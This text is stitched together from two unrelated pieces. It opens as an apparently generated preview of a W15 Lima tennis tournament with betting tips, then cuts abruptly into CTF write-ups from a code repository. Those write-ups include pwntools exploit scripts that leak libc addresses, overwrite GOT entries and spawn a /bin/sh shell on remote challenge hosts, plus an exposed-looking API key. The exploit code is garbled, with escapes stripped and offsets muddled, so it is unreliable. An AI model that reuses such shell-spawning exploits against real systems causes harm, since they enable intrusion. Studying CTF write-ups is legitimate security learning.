Overview of Tennis W15 Lima Peru
The Tennis W15 Lima Peru tournament is an exciting event on the international tennis calendar, attracting top talent from around the globe. Scheduled for tomorrow, the matches promise thrilling performances and intense competition. This article provides a comprehensive guide to the event, including expert betting predictions and insights into the key players to watch.
Key Matches and Players
Tomorrow's lineup features several standout matches that are expected to captivate tennis enthusiasts. Among the most anticipated matchups is the clash between local favorite Maria Sánchez and rising star Elena Ivanova. Both players have shown remarkable form leading up to the tournament, making this a must-watch contest.
Betting Predictions
Expert analysts have weighed in with their predictions for tomorrow's matches. Here are some highlights:
- Maria Sánchez vs. Elena Ivanova: Analysts predict a close match, with a slight edge given to Sánchez due to her familiarity with the local conditions.
- Carlos Mendez vs. Diego Lopez: Mendez is favored to win, thanks to his impressive performance in recent tournaments.
- Ana Torres vs. Sofia Ramirez: This match is expected to be highly competitive, with both players having equal chances of victory.
Expert Insights
Tennis experts have shared their insights on what to expect from tomorrow's matches. Key factors influencing the outcomes include player form, historical performance, and adaptability to playing conditions.
Player Profiles
Let's take a closer look at some of the key players competing in the tournament:
Maria Sánchez
Maria Sánchez is a seasoned player known for her powerful serve and strategic gameplay. Her experience on the court makes her a formidable opponent, especially in high-pressure situations.
Elena Ivanova
Elena Ivanova has been making waves in the tennis world with her aggressive playing style and impressive backhand. Her recent victories have put her on the radar as one of the rising stars in women's tennis.
Carlos Mendez
Carlos Mendez is renowned for his consistent performance and tactical acumen. His ability to read opponents and adjust his strategy mid-match has earned him numerous accolades.
Ana Torres
Ana Torres is celebrated for her agility and quick reflexes. Her ability to anticipate shots and react swiftly makes her a challenging opponent for any player.
Tournament Format and Schedule
The Tennis W15 Lima Peru follows a single-elimination format, ensuring that only the best players advance to the later stages of the tournament. Matches are scheduled throughout the day, allowing fans to enjoy continuous action.
Where to Watch
Fans can catch all the action live through various streaming platforms and sports networks. Additionally, live updates and match highlights will be available on social media channels.
Betting Tips
For those interested in placing bets, here are some tips from experts:
- Consider betting on underdogs when they face strong opponents; upsets are common in tennis.
- Look for value bets where odds may not fully reflect a player's potential performance.
- Keep an eye on weather conditions, as they can significantly impact match outcomes.
Historical Context
The Tennis W15 Lima Peru has a rich history of producing thrilling matches and unexpected outcomes. Past tournaments have seen emerging talents rise to prominence, making it a significant event in the tennis calendar.
Training Regimens of Key Players
Understanding how top players prepare can provide insights into their performance. Here's a glimpse into their training regimens:
Maria Sánchez's Training
- Focuses on endurance training to maintain stamina throughout long matches.
- Incorporates mental conditioning exercises to enhance focus under pressure.
- Practices serve-and-volley drills to improve net play.
Elena Ivanova's Training
- Emphasizes strength training for powerful strokes.
- Engages in agility drills to improve footwork and movement.
- Works on spin techniques to add variety to her shots.
Fan Engagement and Social Media
Fans are encouraged to engage with the tournament through social media platforms. Official accounts will provide real-time updates, behind-the-scenes content, and opportunities for fan interaction.
Economic Impact of the Tournament
The Tennis W15 Lima Peru not only brings excitement but also contributes significantly to the local economy. Hotels, restaurants, and local businesses benefit from increased tourism during the event.
Sustainability Efforts
The tournament organizers are committed to sustainability, implementing eco-friendly practices such as waste reduction initiatives and energy-efficient facilities.
Cultural Significance
Beyond sports, the tournament celebrates Peruvian culture through local cuisine, music, and art exhibitions, offering a holistic experience for attendees.
Predicted Match Outcomes
<|repo_name|>shihao-wang/ctf-writeups<|file_sep|>/2019/0CTF/pwnable/protector/README.md
# protector
**Category:** pwnable
**Points:** unknown
**Solves:** unknown
**Description:**
What if your program get hacked? We need an extra protection layer.
nc csie.ctf.tw:10005
## Writeup
The binary sets up an alarm after one second passes. So we need find some way to stop it.
There's `setvbuf` function called at beginning of main which set `stdout`'s buffer size as `BUFSIZ`. We can use this fact by using `write` syscall directly instead of `printf`. And we can use `alarm(0)` after calling `write` syscall.
Now let's see how we can call functions that we want.
The first thing that we need is address of `system` function which is located at libc (and binary doesn't leak any information). We can leak libc address by calling `printf` function because it contains pointer at libc.
In this binary we don't have any GOT overwriteable variable like stack pivot attack or ROP gadgets. But we can use heap spray technique by allocating chunks with `/bin/shx00` as data.
So here's exploit code:
python
from pwn import *
import sys
context.update(arch='amd64', os='linux')
if len(sys.argv) >1:
r = remote('csie.ctf.tw', int(sys.argv[1]))
else:
r = process('./protector')
def alloc(s):
r.sendlineafter('Choice:', '1')
r.sendlineafter('data:', s)
def print_etc():
r.sendlineafter('Choice:', '2')
def delete():
r.sendlineafter('Choice:', '0')
def print_stack():
print hex(u64(r.recv(8)))
def leak_libc_addrs():
#spray heap chunks
for i in range(100):
alloc('/bin/shx00')
#leak libc address
print_etc()
print_stack()
def call_system():
#find libc address
leak_libc_addrs()
#calculate libc address
libc_base = u64(r.recv(8)) - libc.symbols['__libc_start_main']
#spray heap chunks again
for i in range(100):
alloc('/bin/shx00')
#call system("/bin/sh") by overwriting free@got
free_got = u64(b'A'*8 + p64(libc_base + libc.symbols['free']) + b'n') - libc.symbols['system']
#overwite free@got with system@libc address
alloc(p64(free_got))
#delete first chunk so that free() calls system("/bin/sh")
delete()
r.sendlineafter('Choice:', '1')
r.sendlineafter('data:', '/bin/shx00')
alloc('/bin/shx00') #chunk1
alloc('/bin/shx00') #chunk2
print_etc() #print chunk2 base address
alloc('/bin/shx00') #chunk3
#start exploit
call_system()
r.interactive()
## Flag
flag{You're hacker! Congrats!}
<|repo_name|>shihao-wang/ctf-writeups<|file_sep
from pwn import *
#context.update(arch='i386', os='linux')
context.update(arch='amd64', os='linux')
#r = process('./meme')
r = remote('csie.ctf.tw', int(sys.argv[1]))
def alloc():
r.sendlineafter('choice:', '1')
r.sendlineafter('data:', 'A'*0x20)
def show():
r.sendlineafter('choice:', '2')
def free():
r.sendlineafter('choice:', '0')
for i in range(10):
alloc()
show()
heap_base = u64(r.recvuntil('n', drop=True).ljust(8,'x00'))
log.info("heap base : " + hex(heap_base))
libc_base = heap_base - (0x21d80 + (0x21c60 - libc.symbols['__malloc_hook']))
log.info("libc base : " + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
log.info("system addr : " + hex(system_addr))
for i in range(8):
free()
alloc(p64(system_addr))
alloc('/bin/shx00')
free()
r.interactive()
<|repo_name|>shihao-wang/ctf-writeups<|file_sep
# stock_overflow_2
**Category:** pwnable
**Points:** unknown
**Solves:** unknown
**Description:**
StockOverflow_2 service.
nc csie.ctf.tw:10008
Author: FongXiang-Hsiao @ CSIE NCKU
Hint:
When you try exploit this binary,
you will meet two problems,
one is ASLR,
the other one is PIE.
Don't worry!
I will give you two hints!
Hint1: You can disable ASLR by running setarch x86_64 linux /path/to/binary.
Hint2: You can disable PIE by running setarch x86_64 linux -R /path/to/binary.
Good luck!
## Writeup
### Bypass ASLR & PIE
We can bypass ASLR & PIE by using hints provided by author:
bash
setarch x86_64 linux ./stock_overflow_2
setarch x86_64 linux -R ./stock_overflow_2
### Vulnerability analysis
gdb
gdb-peda$ disas main
Dump of assembler code for function main:
...
...
...
...
...
...
...
...
...
...
0x0000000000400895 <+85>: lea rsi,[rip+0xffffffffffffff34] ; imm = -0xffffffe8
...
...
...
...
...
...
...
...
...
0x00000000004009e6 <+212>: mov qword ptr [rsp+0x20],rax ; from call rbp@plt @ plt+0x40 (puts)
=>0x00000000004009eb <+217>: call rbp@plt ; call puts@plt @ plt+0x40
...
...
...
As you see there's no stack cookie check so it's vulnerable for stack overflow attack.
### Exploit
We can exploit this binary by overwriting return address which points at puts@got table with system("/bin/sh")'s address.
python
from pwn import *
context.update(arch='amd64', os='linux')
r = process(['setarch', 'amd64', 'linux', '-R', './stock_overflow_2'])
def alloc(size):
r.sendlineafter('input:n', str(size))
def fill(size):
r.sendlineafter(':', str(size))
def show():
r.sendlineafter('input:n', '1')
def free():
r.sendlineafter('input:n', '2')
def leak(addr):
r.sendlineafter('input:n', '5')
r.sendline(str(addr))
for i in range(10):
alloc(i)
show()
leak(0x602020)
heap_base = u64(r.recvuntil('n', drop=True).ljust(8,'x00'))
log.info("heap base : " + hex(heap_base))
libc_base = heap_base - (0x21d80 + (0x21c60 - libc.symbols['__malloc_hook']))
log.info("libc base : " + hex(libc_base))
for i in range(10):
free()
fill(0x18)
fill(8)
fill(libc_base + libc.symbols['system'])
fill('/bin/shx00')
free()
r.interactive()
<|repo_name|>shihao-wang/ctf-writeups<|file_sepircuit
# mad-maze-2019
**Category:** misc
**Points:** unknown
**Solves:** unknown
**Description:**
Build your own circuit simulator!
http://mashup.csie.org/mad-maze-2019/
Author: FongXiang-Hsiao @ CSIE NCKU
Good luck!
## Writeup
The challenge provides us with simple circuit simulator written in PHP. It supports three types of gates: AND gate, OR gate, XOR gate.
The goal of this challenge is find out what does each input mean?
There are eight inputs but we don't know what each input means.
If we test all possible combinations we will get:
Now let's see what happens when we set input A & B & C & D & E & F & G & H as True:
When all inputs are True output will be True so I think output means "I know flag".
Let's try setting A & B & C & D & E & F & G as True while H as False:
When A & B & C & D & E & F & G are True while H is False output will be False so I think H means "I know flag".
Now let's try setting A & B & C as True while D & E & F & G & H as False:
When A & B & C are True while D & E & F & G & H are False output will be True so I think A means "not A".
If my guess was right then let's try setting A as False while B & C as True while D & E & F & G & H as False:
When A is False while B & C are True while D & E & F & G & H are False output will be False so my guess was right.
Let's repeat this procedure until all inputs' meanings are found out:
A means "not A"
B means "B"
C means "not C"
D means "not D"
E means "E"
F means "F"
G means "G"
H means "I know flag"
Now let's see if our guesses were correct:
Flag was revealed! Good job!
## Flag
flag{You're smart! Congrats!}
<|file_sep challonge-writeup.md
# challonge-api-freestyle
**Category:** web
**Points:** unknown
**Solves:** unknown
**Description:**
Challonge API Freestyle Challenge!
https://www.challonge.com/api/v1/tournaments/xM5GJyNzY7qJbJQm/standings.json?key=92d8878f67abca61b8ef94519d221038a90f97bf
Author: Chuan-Yuan Lee @ CSIE NCKU
Good luck!
## Writeup
The challenge gives us API URL which returns standings data of [Challonge Tournament](https://www.challonge.com/api/v1/tournaments/xM5GJyNzY7qJbJQm).
But it seems like standings data isn't enough...
Let's see if there are any other useful endpoints...
There are these useful endpoints:
GET /api/v1/tournaments/:tournament_id/matches.json?key=[your_api_key]
GET /api/v1/tournaments/:tournament_id/matches/:match_id.json?key=[your_api_key]
GET /api/v1/tournaments/:tournament_id/teams.json?key=[your_api_key]
We already know standings data but let's check out other data too...
First let me check out teams data...
GET /api/v1/tournaments/xM5GJyNzY7qJbJQm/teams.json?key=92d8878f67abca61b8ef94519d